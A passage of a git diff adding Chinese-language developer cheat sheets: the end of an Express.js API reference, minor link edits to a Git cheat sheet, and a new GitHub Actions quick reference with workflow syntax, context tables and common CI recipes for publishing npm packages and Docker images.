+`app.get(name)` | [#](http://expressjs.com/en/4x/api.html#app.get)
+`app.get(path, callback)` | [#](http://expressjs.com/en/4x/api.html#app.get.method)
+`app.listen()` | [#](http://expressjs.com/en/4x/api.html#app.listen)
+`app.METHOD()` | [#](http://expressjs.com/en/4x/api.html#app.METHOD)
+`app.param()` | [#](http://expressjs.com/en/4x/api.html#app.param)
+`app.path()` | [#](http://expressjs.com/en/4x/api.html#app.path)
+`app.post()` | [#](http://expressjs.com/en/4x/api.html#app.post.method)
+`app.put()` | [#](http://expressjs.com/en/4x/api.html#app.put.method)
+`app.render()` | [#](http://expressjs.com/en/4x/api.html#app.render)
+`app.route()` | [#](http://expressjs.com/en/4x/api.html#app.route)
+`app.set()` | [#](http://expressjs.com/en/4x/api.html#app.set)
+`app.use()` | [#](http://expressjs.com/en/4x/api.html#app.use)
+
+### Request
+
+#### 属性
+
+:- | :-
+:- | :-
+`req.app` | [#](http://expressjs.com/en/4x/api.html#req.app)
+`req.baseUrl` | [#](http://expressjs.com/en/4x/api.html#req.baseUrl)
+`req.body` | [#](http://expressjs.com/en/4x/api.html#req.body)
+`req.cookies` | [#](http://expressjs.com/en/4x/api.html#req.cookies)
+`req.fresh` | [#](http://expressjs.com/en/4x/api.html#req.fresh)
+`req.hostname` | [#](http://expressjs.com/en/4x/api.html#req.hostname)
+`req.ip` | [#](http://expressjs.com/en/4x/api.html#req.ip)
+`req.ips` | [#](http://expressjs.com/en/4x/api.html#req.ips)
+`req.method` | [#](http://expressjs.com/en/4x/api.html#req.method)
+`req.originalUrl` | [#](http://expressjs.com/en/4x/api.html#req.originalUrl)
+`req.params` | [#](http://expressjs.com/en/4x/api.html#req.params)
+`req.path` | [#](http://expressjs.com/en/4x/api.html#req.path)
+`req.protocol` | [#](http://expressjs.com/en/4x/api.html#req.protocol)
+`req.query` | [#](http://expressjs.com/en/4x/api.html#req.query)
+`req.route` | [#](http://expressjs.com/en/4x/api.html#req.route)
+`req.secure` | [#](http://expressjs.com/en/4x/api.html#req.secure)
+`req.signedCookies` | [#](http://expressjs.com/en/4x/api.html#req.signedCookies)
+`req.stale` | [#](http://expressjs.com/en/4x/api.html#req.stale)
+`req.subdomains` | [#](http://expressjs.com/en/4x/api.html#req.subdomains)
+`req.xhr` | [#](http://expressjs.com/en/4x/api.html#req.xhr)
+
+#### 方法
+
+:- | :-
+:- | :-
+`req.accepts()` | [#](http://expressjs.com/en/4x/api.html#req.accepts)
+`req.acceptsCharsets()` | [#](http://expressjs.com/en/4x/api.html#req.acceptsCharsets)
+`req.acceptsEncodings()` | [#](http://expressjs.com/en/4x/api.html#req.acceptsEncodings)
+`req.acceptsLanguages()` | [#](http://expressjs.com/en/4x/api.html#req.acceptsLanguages)
+`req.get()` | 获取HTTP 请求头字段 [#](http://expressjs.com/en/4x/api.html#req.get)
+`req.is()` | [#](http://expressjs.com/en/4x/api.html#req.is)
+`req.param()` | [#](http://expressjs.com/en/4x/api.html#req.param)
+`req.range()` | [#](http://expressjs.com/en/4x/api.html#req.range)
+
+### Response
+
+```js
+app.get('/', function (req, res) {
+  console.dir(res.headersSent) // false
+  res.send('OK')
+  console.dir(res.headersSent) // true
+})
+```
+
+#### 属性
+
+:- | :-
+:- | :-
+`res.app ` | [#](http://expressjs.com/en/4x/api.html#res.app)
+`res.headersSent` | [#](http://expressjs.com/en/4x/api.html#res.headersSent)
+`res.locals` | [#](http://expressjs.com/en/4x/api.html#res.locals)
+
+#### 方法
+
+:- | :-
+:- | :-
+`res.append()` | [#](http://expressjs.com/en/4x/api.html#res.append)
+`res.attachment()` | [#](http://expressjs.com/en/4x/api.html#res.attachment)
+`res.cookie()` | [#](http://expressjs.com/en/4x/api.html#res.cookie)
+`res.clearCookie()` | [#](http://expressjs.com/en/4x/api.html#res.clearCookie)
+`res.download()` | 提示要下载的文件 [#](http://expressjs.com/en/4x/api.html#res.download)
+`res.end()` | 结束响应过程 [#](http://expressjs.com/en/4x/api.html#res.end)
+`res.format()` | [#](http://expressjs.com/en/4x/api.html#res.format)
+`res.get()` | [#](http://expressjs.com/en/4x/api.html#res.get)
+`res.json()` | 发送 JSON 响应 [#](http://expressjs.com/en/4x/api.html#res.json)
+`res.jsonp()` | 发送带有 JSONP 支持的响应 [#](http://expressjs.com/en/4x/api.html#res.jsonp)
+`res.links()` | [#](http://expressjs.com/en/4x/api.html#res.links)
+`res.location()` | [#](http://expressjs.com/en/4x/api.html#res.location)
+`res.redirect()` | 重定向请求 [#](http://expressjs.com/en/4x/api.html#res.redirect)
+`res.render()` | 渲染视图模板 [#](http://expressjs.com/en/4x/api.html#res.render)
+`res.send()` | 发送各种类型的响应 [#](http://expressjs.com/en/4x/api.html#res.send)
+`res.sendFile()` | 将文件作为八位字节流发送 [#](http://expressjs.com/en/4x/api.html#res.sendFile)
+`res.sendStatus()` | [#](http://expressjs.com/en/4x/api.html#res.sendStatus)
+`res.set()` | [#](http://expressjs.com/en/4x/api.html#res.set)
+`res.status()` | [#](http://expressjs.com/en/4x/api.html#res.status)
+`res.type()` | [#](http://expressjs.com/en/4x/api.html#res.type)
+`res.vary()` | [#](http://expressjs.com/en/4x/api.html#res.vary)
+
+示例
+----
+
+### Router
+<!--rehype:wrap-class=row-span-2-->
+
+为传递给此路由器的任何请求调用
+
+```js
+router.use(function (req, res, next) {
+  // .. 这里有一些逻辑 .. 像任何其他中间件一样
+  next()
+})
+```
+
+将处理任何以 `/events` 结尾的请求
+
+```js
+// 取决于路由器在哪里 "use()"
+router.get('/events', (req, res, next) => {
+  // ..
+})
+```
+
+### Response
+
+`res` 对象表示 `Express` 应用程序在收到 HTTP 请求时发送的 HTTP 响应
+
+```js
+app.get('/user/:id', (req, res) => {
+  res.send('user ' + req.params.id)
+})
+```
+
+### Request
+
+`req` 对象表示 `HTTP` 请求，并具有请求查询字符串、参数、正文、HTTP 标头等的属性
+
+```js
+app.get('/user/:id', (req, res) => {
+  res.send('user ' + req.params.id)
+})
+```
+
+### res.end()
+
+```js
+res.end()
+res.status(404).end()
+```
+
+结束响应过程。这个方法其实来自 Node 核心，具体是 `http.ServerResponse` 的 `response.end()` 方法
+
+### res.json([body])
+
+```js
+res.json(null)
+res.json({ user: 'tobi' })
+res.status(500).json({ error: 'message' })
+```
+
+### app.all
+
+```js
+app.all('/secret', function (req, res, next) {
+  console.log('访问秘密部分...')
+  next() // 将控制权传递给下一个处理程序
+})
+```
+
+### app.delete
+
+```js
+app.delete('/', function (req, res) {
+  res.send('DELETE request to homepage')
+})
+```
+
+### app.disable(name)
+
+```js
+app.disable('trust proxy')
+app.get('trust proxy')
+// => false
+```
+
+### app.disabled(name)
+
+```js
+app.disabled('trust proxy')
+// => true
+
+app.enable('trust proxy')
+app.disabled('trust proxy')
+// => false
+```
+
+### app.engine(ext, callback)
+
+```js
+var engines = require('consolidate')
+
+app.engine('haml', engines.haml)
+app.engine('html', engines.hogan)
+```
+
+### app.listen([port[, host[, backlog]]][, callback])
+
+```js
+var express = require('express')
+
+var app = express()
+app.listen(3000)
+```
+
+### 路由
+
+```js
+const express = require('express')
+const app = express()
+
+// 向主页发出 GET 请求时响应“hello world”
+app.get('/', (req, res) => {
+  res.send('hello world')
+})
+```
+
+```js
+// GET 方法路由
+app.get('/', (req, res) => {
+  res.send('GET request to the homepage')
+})
+
+// POST 方法路由
+app.post('/', (req, res) => {
+  res.send('POST request to the homepage')
+})
+```
+
+### 中间件
+
+```js
+function logOriginalUrl (req, res, next) {
+  console.log('ReqURL:', req.originalUrl)
+  next()
+}
+
+function logMethod (req, res, next) {
+  console.log('Request Type:', req.method)
+  next()
+}
+
+const log = [logOriginalUrl, logMethod]
+
+app.get('/user/:id', log,
+  (req, res, next)=>{
+    res.send('User Info')
+  }
+)
+```
+
+### 使用模版
+
+```js
+app.set('view engine', 'pug')
+```
+
+在 `views` 目录下创建一个名为 `index.pug` 的 `Pug` 模板文件，内容如下
+
+```pug
+html
+  head
+    title= title
+  body
+    h1= message
+```
+
+创建一个路由来渲染 `index.pug` 文件。如果未设置视图引擎属性，则必须指定视图文件的扩展名
+
+```js
+app.get('/', (req, res) => {
+  res.render('index', {
+    title: 'Hey', message: 'Hello there!'
+  })
+})
+```

docs/git.md

@@ -1,7 +1,7 @@
 Git 备忘清单
 ===
 
-本备忘单总结了常用的 Git 命令行指令，以供快速参考。
+本备忘单总结了常用的 [Git](https://git-scm.com/) 命令行指令，以供快速参考。
 
 入门
 ----
@@ -423,7 +423,7 @@ $ git config --global alias.ci commit
 $ git config --global alias.st status
 ```
 
-也可以看看：[More Aliases](https://gist.github.com/johnpolacek/69604a1f6861129ef088)
+也可以看看：[更多别名](https://gist.github.com/johnpolacek/69604a1f6861129ef088)
 
 ### 设置大小写敏感
 

docs/github-actions.md

@@ -0,0 +1,822 @@
+Github Actions 备忘清单
+====
+
+本备忘单总结了 [Github Actions](https://github.com/actions) 常用的配置说明，以供快速参考。
+
+入门
+---
+
+### 介绍
+
+GitHub [Actions](https://github.com/actions) 的仓库中自动化、自定义和执行软件开发工作流程，有四个基本的概念，如下：
+
+:- | :-
+:- | :-
+`workflow` _(工作流程)_ | 持续集成一次运行的过程，就是一个 `workflow`
+`job` _(任务)_ | 一个 `workflow` 由一个或多个 `jobs` 构成，含义是一次持续集成的运行，可以完成多个任务
+`step` _(步骤)_ | 每个 `job` 由多个 `step` 构成，一步步完成
+`action` _(动作)_ | 每个 `step` 可以依次执行一个或多个命令(`action`)
+<!--rehype:className=style-list-arrow-->
+
+---
+
+- 采用 [YAML](./yaml.md) 格式定义配置文件
+- 存放在代码仓库的 `.github/workflows` 目录中
+- 后缀名统一为 `.yml`，比如 `ci.yml`
+- 一个库可以有多个 `workflow` 文件
+- 根据配置事件自动运行配置文件
+<!--rehype:className=style-round-->
+
+### 配置文件
+
+```yaml {3,5,10}
+name: GitHub Actions Demo
+on:
+  push:
+    branches:
+      - main
+
+# 任务
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    # 步骤 根据步骤执行任务
+    steps:
+      - uses: actions/checkout@v3
+      - uses: actions/setup-node@v3
+        with:
+          node-version: 16
+
+      - run: npm install
+      - run: npm run build
+```
+
+存放到 `.github/workflows` 目录中，命名为 `ci.yml`，当 `push` 代码到仓库 `main` 分支中，该配置自动运行配置。
+
+### 指定触发
+<!--rehype:wrap-class=row-span-2-->
+
+`push` 事件触发 `workflow`
+
+```yaml
+on: push
+```
+
+`push` 事件或 `pull_request` 事件都可以触发 `workflow`
+
+```yaml
+on: [push, pull_request]
+```
+
+只有在 `main` 分支 `push` 事件触发 `workflow`
+
+```yaml {2}
+on:
+  push:
+    branches:
+      - main
+```
+
+`push` 事件触发 `workflow`，`docs` 目录下的更改 `push` 事件不触发 `workflow`
+
+```yaml {2,4}
+on:
+  push:
+    paths-ignore:
+      - 'docs/**'
+```
+
+push 事件触发 workflow，包括 sub-project 目录或其子目录中的文件触发 workflow，除非该文件在 sub-project/docs 目录中，不触发 workflow
+
+```yaml
+on:
+  push:
+    paths:
+      - 'sub-project/**'
+      - '!sub-project/docs/**'
+```
+
+版本发布为 `published` 时运行工作流程。
+
+```yml
+on:
+  release:
+    types: [published]
+```
+
+### 多项任务
+
+```yml
+jobs:
+  my_first_job:  # 第一个任务
+    name: My first job
+
+  my_second_job: # 第二个任务
+    name: My second job
+```
+
+通过 jobs `(jobs.<job_id>.name)`字段，配置一项或多项需要执行的任务
+
+### 多项任务依赖关系
+
+通过 needs `(jobs.<job_id>.needs)`字段，指定当前任务的依赖关系
+
+```yml
+jobs:
+  job1:
+  job2:
+    needs: job1
+  job3:
+    needs: [job1, job2]
+```
+
+上面配置中，`job1` 必须先于 `job2` 完成，而 `job3` 等待 `job1` 和 `job2` 的完成才能运行。因此，这个 `workflow` 的运行顺序依次为：`job1`、`job2`、`job3`
+
+### 多项任务传递参数
+<!--rehype:wrap-class=col-span-2-->
+
+```yml {2,5,9,11,15}
+jobs:
+  job1:
+    runs-on: ubuntu-latest
+    # 将步骤输出映射到作业输出
+    outputs:
+      output1: ${{ steps.step1.outputs.test }}
+      output2: ${{ steps.step2.outputs.test }}
+    steps:
+      - id: step1
+        run: echo "::set-output name=test::hello"
+      - id: step2
+        run: echo "::set-output name=test::world"
+  job2:
+    runs-on: ubuntu-latest
+    needs: job1
+    steps:
+      - run: echo ${{needs.job1.outputs.output1}} ${{needs.job1.outputs.output2}}
+```
+
+### 指定每项任务的虚拟机环境
+
+```yml
+runs-on: ubuntu-latest
+```
+
+指定运行所需要的虚拟机环境，⚠️ 它是必填字段
+
+```yml {3}
+jobs:
+  build: # 任务名称
+    runs-on: ubuntu-latest # 虚拟机环境配置
+```
+
+---
+
+- `Windows Server 2022` _(windows-latest)_ 或 _(windows-2022)_
+- `Ubuntu 20.04` _(ubuntu-latest)_ 或 _(ubuntu-20.04)_
+- `macOS Monterey 12` _(macos-12)_
+- `macOS Big Sur 11` _(macos-latest)_,_(macos-11)_
+<!--rehype:className=style-arrow-->
+
+另见: [选择 GitHub 托管的运行器](https://docs.github.com/cn/actions/using-workflows/workflow-syntax-for-github-actions#选择-github-托管的运行器)
+
+### 指定每项任务的步骤
+
+每个步骤都可以指定以下三个字段
+
+```shell
+jobs.<job_id>.steps.name # 步骤名称
+# 该步骤运行的命令或者 action
+jobs.<job_id>.steps.run
+# 该步骤所需的环境变量
+jobs.<job_id>.steps.env
+```
+
+`steps` 字段指定每个 `Job` 的运行步骤，可以包含一个或多个步骤(`steps`)
+
+```yml {4}
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v3
+      - uses: actions/setup-node@v3
+        with:
+          node-version: 16
+
+      - run: npm install
+      - run: npm run build
+```
+
+### 环境变量
+
+```shell
+jobs.<job_id>.environment
+```
+使用单一环境名称的示例
+
+```yml
+environment: staging_environment
+```
+
+使用环境名称和 URL 的示例
+
+```yml
+environment:
+  name: production_environment
+  url: https://github.com
+```
+
+#### 自定义环境变量
+
+`GitHub` 会保留 `GITHUB_` 环境变量前缀供 `GitHub` 内部使用。设置有 `GITHUB_` 前缀的环境变量或密码将导致错误。
+
+```yml
+- name: 测试 nodejs 获取环境变量
+  env:
+    API_TOKEN: ${{ secrets.API_TOKEN }}
+```
+
+在 `https://github.com/<用户名>/<项目名称>/settings/secrets` 中添加 `secrets` `API_TOKEN`，在工作流中设置环境变量 [`API_TOKEN`](https://github.com/jaywcjlove/github-actions/blob/799b232fca3d9df0272eaa12610f9ebfca51b288/.github/workflows/ci.yml#L46)
+
+### 表达式
+
+在 `if` 条件下使用表达式时，可以省略表达式语法 (`${{ }}`)，因为 GitHub 会自动将 `if` 条件作为表达式求值
+
+```yml {3}
+steps:
+  - uses: actions/hello-world-action@v1.1
+    if: github.repository == 'uiw/uiw-repo'
+    # if: ${{ <expression> }}
+```
+
+设置环境变量的示例
+
+
+```yml
+env:
+  MY_ENV_VAR: ${{ <expression> }}
+```
+
+#### 操作符
+
+- `( )` _(逻辑分组)_
+- `[ ]` _(指数)_
+- `.` _(属性取消引用)_
+- `!` _(不是)_
+- `<` _(少于)_
+- `<=` _(小于或等于)_
+- `>` _(比...更棒)_
+- `>=` _(大于或等于)_
+- `==` _(平等的)_
+- `!=` _(不相等)_
+- `&&` _(和)_
+- `||` _(或者)_
+<!--rehype:className=cols-2 style-none-->
+
+### Github 上下文
+<!--rehype:wrap-class=col-span-2-->
+
+属性名称 | 类型 | 描述
+---- | ---- | ----
+`github` _(object)_ | 工作流程中任何作业或步骤期间可用的顶层上下文。
+`github.event` _(object)_ | 完整事件 web 挂钩有效负载。 更多信息请参阅“触发工作流程的事件”。
+`github.event_path` _(string)_ | 运行器上完整事件 web 挂钩有效负载的路径。
+`github.workflow` _(string)_ | 工作流程的名称。 如果工作流程文件未指定 name，此属性的值将是仓库中工作流程文件的完整路径。
+`github.job` _(string)_ | 当前作业的 job_id。
+`github.run_id` _(string)_ | 仓库中每个运行的唯一编号。 如果您重新执行工作流程运行，此编号不变。
+`github.run_number` _(string)_ | 仓库中特定工作流程每个运行的唯一编号。 此编号从 1（对应于工作流程的第一个运行）开始，然后随着每个新的运行而递增。 如果您重新执行工作流程运行，此编号不变。
+`github.actor` _(string)_ | 发起工作流程运行的用户的登录名。
+`github.repository` _(string)_ | 所有者和仓库名称。 例如 Codertocat/Hello-World。
+`github.repository_owner` _(string)_ | 仓库所有者的名称。 例如 Codertocat。
+`github.event_name` _(string)_ | 触发工作流程运行的事件的名称。
+`github.sha` _(string)_ | 触发工作流程的提交 SHA。
+`github.ref` _(string)_ | 触发工作流程的分支或标记参考。
+`github.head_ref` _(string)_ | 工作流程运行中拉取请求的 head_ref 或来源分支。 此属性仅在触发工作流程运行的事件为 pull_request 时才可用。
+`github.base_ref` _(string)_ | 工作流程运行中拉取请求的 base_ref 或目标分支。 此属性仅在触发工作流程运行的事件为 pull_request 时才可用。
+`github.token` _(string)_ | 代表仓库上安装的 GitHub 应用程序进行身份验证的令牌。 这在功能上等同于 GITHUB_TOKEN 密码。 更多信息请参阅“使用 GITHUB_TOKEN 验证身份”。
+`github.workspace` _(string)_ | 使用 checkout 操作时步骤的默认工作目录和仓库的默认位置。
+`github.action` _(string)_ | 正在运行的操作的名称。 在当前步骤运行脚本时，GitHub 删除特殊字符或使用名称 run。 如果在同一作业中多次使用相同的操作，则名称将包括带有序列号的后缀。 例如，运行的第一个脚本名称为 run1，则第二个脚本将命名为 run2。 同样，actions/checkout 第二次调用时将变成 actionscheckout2。
+<!--rehype:className=style-list-arrow-->
+
+[Github 上下文](https://help.github.com/cn/actions/reference/context-and-expression-syntax-for-github-actions)是访问有关工作流运行、运行器环境、作业和步骤的信息的一种方式
+
+### 默认环境变量
+
+环境变量 | 描述
+---- | ----
+`CI` | 始终设置为 `true`
+`HOME` | 用于存储用户数据的 GitHub 主目录路径。 例如 `/github/home`
+`GITHUB_WORKFLOW` | 工作流程的名称。
+`GITHUB_RUN_ID` | 仓库中每个运行的唯一编号。 如果您重新执行工作流程运行，此编号不变。
+`GITHUB_RUN_NUMBER` | 仓库中特定工作流程每个运行的唯一编号。 此编号从 1（对应于工作流程的第一个运行）开始，然后随着每个新的运行而递增。 如果您重新执行工作流程运行，此编号不变。
+`GITHUB_ACTION` | 操作唯一的标识符 (id)。
+`GITHUB_ACTIONS` |  当 GitHub 操作 运行工作流程时，始终设置为 true。 您可以使用此变量来区分测试是在本地运行还是通过 GitHub 操作 运行。
+`GITHUB_ACTION_PATH` | GitHub 操作所在的路径
+`GITHUB_ACTOR` | 发起工作流程的个人或应用程序的名称。 例如 octocat
+`GITHUB_API_URL` | 返回 `API URL`。例如：`https://api.github.com`
+`GITHUB_REPOSITORY` | 所有者和仓库名称。 例如 octocat/Hello-World
+`GITHUB_EVENT_NAME` | 触发工作流程的 web 挂钩事件的名称
+`GITHUB_EVENT_PATH` | 具有完整 web 挂钩事件有效负载的文件路径。 例如 /github/workflow/event.json
+`GITHUB_WORKSPACE` | GitHub 工作空间目录路径。 如果您的工作流程使用 [actions/checkout](https://github.com/actions/checkout) 操作，工作空间目录将包含存储仓库副本的子目录。 如果不使用 [actions/checkout](https://github.com/actions/checkout) 操作，该目录将为空。 例如 /home |/runner/work/my-repo-name/my-repo-name
+`GITHUB_SHA` | 触发工作流程的提交 SHA。 例如 ffac537e6cbbf9
+`GITHUB_REF` | 触发工作流程的分支或标记参考。 例如 refs/heads/feature-branch-1。 如果分支或标记都不适用于事件类型，则变量不会存在
+`GITHUB_HEAD_REF` | 仅为复刻的仓库设置。头部仓库的分支
+`GITHUB_BASE_REF` | 仅为复刻的仓库设置。基础仓库的分支
+<!--rehype:className=style-list-arrow-->
+
+另见: [默认环境变量](https://docs.github.com/cn/actions/learn-github-actions/environment-variables#default-environment-variables)
+
+### 直接常量
+<!--rehype:wrap-class=row-span-2-->
+
+作为表达式的一部分，可以使用 `boolean`, `null`, `number` 或 `string`数据类型
+
+```yml
+env:
+  myNull: ${{ null }}
+  myBoolean: ${{ false }}
+  myIntegerNumber: ${{ 711 }}
+  myFloatNumber: ${{ -9.2 }}
+  myHexNumber: ${{ 0xff }}
+  myExponentialNumber: ${{ -2.99e-2 }}
+  myString: Mona the Octocat
+  myStringInBraces: ${{ 'It''s open source!' }}
+```
+
+### 函数 contains
+<!--rehype:wrap-class=row-span-2-->
+
+使用字符串的示例
+
+```js
+contains('Hello world', 'llo') // 返回 true
+```
+
+使用对象过滤器的示例返回 true
+
+```js
+contains(github.event.issue.labels.*.name, 'bug')
+```
+<!--rehype:className=wrap-text -->
+
+另见: [函数 contains](https://docs.github.com/cn/actions/learn-github-actions/expressions#contains)
+
+### 函数 startsWith
+
+```js
+startsWith('Hello world', 'He') // 返回 true
+```
+
+另见: [函数 startsWith](https://docs.github.com/cn/actions/learn-github-actions/expressions#startswith)，此函数不区分大小写
+
+### 函数 format
+
+```js
+format('{{Hello {0} {1} {2}!}}', 'Mona', 'the', 'Octocat')
+// 返回 '{Hello Mona the Octocat!}'.
+```
+
+另见: [函数 format](https://docs.github.com/cn/actions/learn-github-actions/expressions#format)
+
+### 函数 join
+
+```js
+join(github.event.issue.labels.*.name, ', ')
+// 也许返回 'bug, help wanted'.
+```
+
+另见: [函数 join](https://docs.github.com/cn/actions/learn-github-actions/expressions#join)
+
+### 函数 toJSON
+
+```js
+toJSON(job)
+// 也许返回 { "status": "Success" }.
+```
+
+另见: [函数 toJSON](https://docs.github.com/cn/actions/learn-github-actions/expressions#tojson)
+
+### 函数
+<!--rehype:wrap-class=row-span-2-->
+
+:- | :-
+:- | :-
+`fromJSON` | 返回 JSON 对象或 JSON 数据类型的值 [#](https://docs.github.com/cn/actions/learn-github-actions/expressions#fromjson)
+`hashFiles` | 返回与路径模式匹配的文件集的单个哈希 [#](https://docs.github.com/cn/actions/learn-github-actions/expressions#hashfiles)
+`success` | 当前面的步骤都没失败或被取消时返回 true [#](https://docs.github.com/cn/actions/learn-github-actions/expressions#success)
+`always` | 使步骤始终执行，返回 `true` 即使取消也是如此 [#](https://docs.github.com/cn/actions/learn-github-actions/expressions#always)
+`cancelled` | 如果工作流被取消，则返回 true [#](https://docs.github.com/cn/actions/learn-github-actions/expressions#cancelled)
+`failure` | 当作业的任何先前步骤失败时返回 true [#](https://docs.github.com/cn/actions/learn-github-actions/expressions#failure)
+
+### 函数 success()
+
+```yml
+steps:
+  ...
+  - name: The job has succeeded
+    if: ${{ success() }}
+```
+
+### 函数 failure()
+
+```yml
+steps:
+  ...
+  - name: The job has failed
+    if: ${{ failure() }}
+```
+
+常用实例
+----
+
+### 获取版本信息
+<!--rehype:wrap-class=col-span-2-->
+
+```yml
+- name: Test
+  run: |
+    # Strip git ref prefix from version
+    echo "${{ github.ref }}"
+    # VERSION=$(echo "${{ github.ref }}" | sed -e 's,.*/\(.*\),\1,')
+
+    # # Strip "v" prefix from tag name
+    # [[ "${{ github.ref }}" == "refs/tags/"* ]] && VERSION=$(echo $VERSION | sed -e 's/^v//')
+    echo "$VERSION"
+```
+<!--rehype:className=wrap-text -->
+
+### 提交到 gh-pages 分支
+
+```yml
+- name: Deploy
+  uses: peaceiris/actions-gh-pages@v3
+  with:
+    github_token: ${{secrets.GITHUB_TOKEN}}
+    publish_dir: ./build
+```
+
+### 修改 package.json
+
+```yml
+- name: Modify Version
+  shell: bash
+  run: |
+    node -e 'var pkg = require("./package.json"); pkg.version= (new Date().getFullYear().toString().substr(2)) + "." + (new Date().getMonth() + 1) + "." + (new Date().getDate()); require("fs").writeFileSync("./package.json", JSON.stringify(pkg, null, 2))'
+```
+<!--rehype:className=wrap-text -->
+
+使用 [github-action-package](https://github.com/jaywcjlove/github-action-package) 修改 `name` 字段
+
+```yml
+- name: package.json info
+  uses: jaywcjlove/github-action-package@main
+  with:
+    rename: '@wcj/github-package-test'
+```
+
+### 克隆带有 Submodule 的仓库
+
+```yml
+- name: Checkout
+  uses: actions/checkout@v3
+  with:
+    path: main
+    submodules: true
+```
+
+`submodules`：`true` 检出子模块或 `recursive` 递归检出子模块
+
+```yml
+- name: Clone sub repository
+  shell: bash
+  run: |
+    auth_header="$(git config --local --get http.https://github.com/.extraheader)"
+    # git submodule sync --recursive
+    # git -c "http.extraheader=$auth_header" -c protocol.version=2 submodule update --init --remote --force --recursive --checkout ant.design
+```
+
+### 步骤依赖作业
+<!--rehype:wrap-class=row-span-2-->
+
+使用 `jobs.<job_id>.needs` 识别在此作业运行之前必须成功完成的任何作业。它可以是一个字符串，也可以是字符串数组。 如果某个作业失败，则所有需要它的作业都会被跳过，除非这些作业使用让该作业继续的条件表达式。
+
+```yml
+jobs:
+  job1:
+  job2:
+    needs: job1
+  job3:
+    needs: [job1, job2]
+```
+
+在此示例中，`job1` 必须在 `job2` 开始之前成功完成，而 `job3` 要等待 `job1` 和 `job2` 完成。此示例中的作业按顺序运行：
+
+```
+❶ job1
+❷ job2
+❸ job3
+```
+
+配置如下
+
+```yml
+jobs:
+  job1:
+  job2:
+    needs: job1
+  job3:
+    if: ${{ always() }}
+    needs: [job1, job2]
+```
+
+在此示例中，`job3` 使用 `always()` 条件表达式，因此它始终在 `job1` 和 `job2` 完成后运行，不管它们是否成功。
+
+### 同步 Gitee
+<!--rehype:wrap-class=col-span-2-->
+
+```yml
+- name: Sync to Gitee
+  run: |
+    mirror() {
+      git clone "https://github.com/$1/$2"
+      cd "$2"
+      git remote add gitee "https://jaywcjlove:${{ secrets.GITEE_TOKEN }}@gitee.com/uiw/$2"
+      git remote set-head origin -d
+      git push gitee --prune +refs/remotes/origin/*:refs/heads/* +refs/tags/*:refs/tags/*
+      cd ..
+    }
+    mirror uiwjs uiw
+```
+<!--rehype:className=wrap-text -->
+
+### 提交 NPM 包
+
+```yml
+- run: npm publish --access public
+  env:
+    NODE_AUTH_TOKEN: ${{secrets.NPM_TOKEN}}
+```
+
+获取 `NPM_TOKEN`，可以通过 [npm](https://www.npmjs.com/settings/wcjiang/tokens) 账号创建 `token`
+
+```shell
+npm token list [--json|--parseable] # 查看
+npm token create [--read-only] [--cidr=1.1.1.1/24,2.2.2.2/16] # 创建
+npm token revoke <id|token> # 撤销
+```
+<!--rehype:className=wrap-text -->
+
+可以使用 [JS-DevTools/npm-publish](https://github.com/JS-DevTools/npm-publish) 提交
+
+```yml
+- name:  📦 @province-city-china/data
+  uses: JS-DevTools/npm-publish@v1
+  with:
+    token: ${{ secrets.NPM_TOKEN }}
+    package: packages/data/package.json
+```
+
+它有个好处，检测 `package.json` 中版本号是否发生变更，来决定是否提交版本，不会引发流程错误。
+
+### 步骤作业文件共享
+
+Artifacts 是 GitHub Actions 为您提供持久文件并在运行完成后使用它们或在作业（文档）之间共享的一种方式。
+
+要创建工件并使用它，您将需要不同的操作：上传和下载。
+要上传文件或目录，您只需像这样使用它：
+
+```yml
+steps:
+  - uses: actions/checkout@v2
+  - run: mkdir -p path/to/artifact
+  - run: echo hello > path/to/artifact/a.txt
+  - uses: actions/upload-artifact@v2
+    with:
+      name: my-artifact
+      path: path/to/artifact/a.txt
+```
+
+然后下载 `artifact` 以使用它：
+
+```yml
+steps:
+  - uses: actions/checkout@v2
+  - uses: actions/download-artifact@v2
+    with:
+      name: my-artifact
+```
+
+### Node.js
+
+```yml
+- name: Setup Node
+  uses: actions/setup-node@v2
+  with:
+    node-version: 14
+```
+
+使用[矩阵策略](https://docs.github.com/cn/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstrategy) 在 nodejs 不同版本中运行
+
+```yml
+strategy:
+  matrix:
+    node-version: [10.x, 12.x, 14.x]
+
+steps:
+  - uses: actions/checkout@v2
+  - name: 使用 Node ${{ matrix.node-version }}
+    uses: actions/setup-node@v1
+    with:
+      node-version: ${{ matrix.node-version }}
+  - run: npm ci
+  - run: npm run build --if-present
+  - run: npm test
+```
+
+### 提交 docker 镜像
+<!--rehype:wrap-class=col-span-2 row-span-2-->
+
+```yml
+# https://www.basefactor.com/github-actions-docker
+- name: Docker login
+  run: docker login -u ${{ secrets.DOCKER_USER }} -p ${{ secrets.DOCKER_PASSWORD }}
+
+- name: Build ant.design image
+  run: |
+    cd ./ant\.design
+    docker build -t ant.design .
+- name: Tags & Push docs
+  run: |
+    # Strip git ref prefix from version
+    VERSION=$(echo "${{ github.ref }}" | sed -e 's,.*/\(.*\),\1,')
+
+    # Strip "v" prefix from tag name
+    [[ "${{ github.ref }}" == "refs/tags/"* ]] && VERSION=$(echo $VERSION | sed -e 's/^v//')
+
+    docker tag ant.design ${{ secrets.DOCKER_USER }}/ant.design:$VERSION
+    docker tag ant.design ${{ secrets.DOCKER_USER }}/ant.design:latest
+    docker push ${{ secrets.DOCKER_USER }}/ant.design:$VERSION
+    docker push ${{ secrets.DOCKER_USER }}/ant.design:latest
+```
+
+### 创建一个 tag
+
+```yml
+- name: Create Tag
+  id: create_tag
+  uses: jaywcjlove/create-tag-action@main
+  with:
+    package-path: ./package.json
+```
+
+根据 `package-path` 指定的 `package.json` 检测 `version` 是否发生变化来创建 `tag`
+
+### 生成 git 提交日志
+
+```yml
+- name: Generate Changelog
+  id: changelog
+  uses: jaywcjlove/changelog-generator@main
+  with:
+    filter-author: (小弟调调™)
+
+- name: Get the changelog
+  run: echo "${{ steps.changelog.outputs.changelog }}"
+```
+<!--rehype:className=wrap-text -->
+
+### 提交到 GitHub docker 镜像仓库
+<!--rehype:wrap-class=col-span-3-->
+
+```yml
+- name: '登录到 GitHub 注册表'
+  run: echo ${{ github.token }} | docker login ghcr.io -u ${{ github.actor }} --password-stdin
+
+- name: '编译 docker image'
+  run: docker build -t ghcr.io/jaywcjlove/reference:latest .
+
+- name: '推送到 GitHub 注册表中'
+  run: docker push ghcr.io/jaywcjlove/reference:latest
+
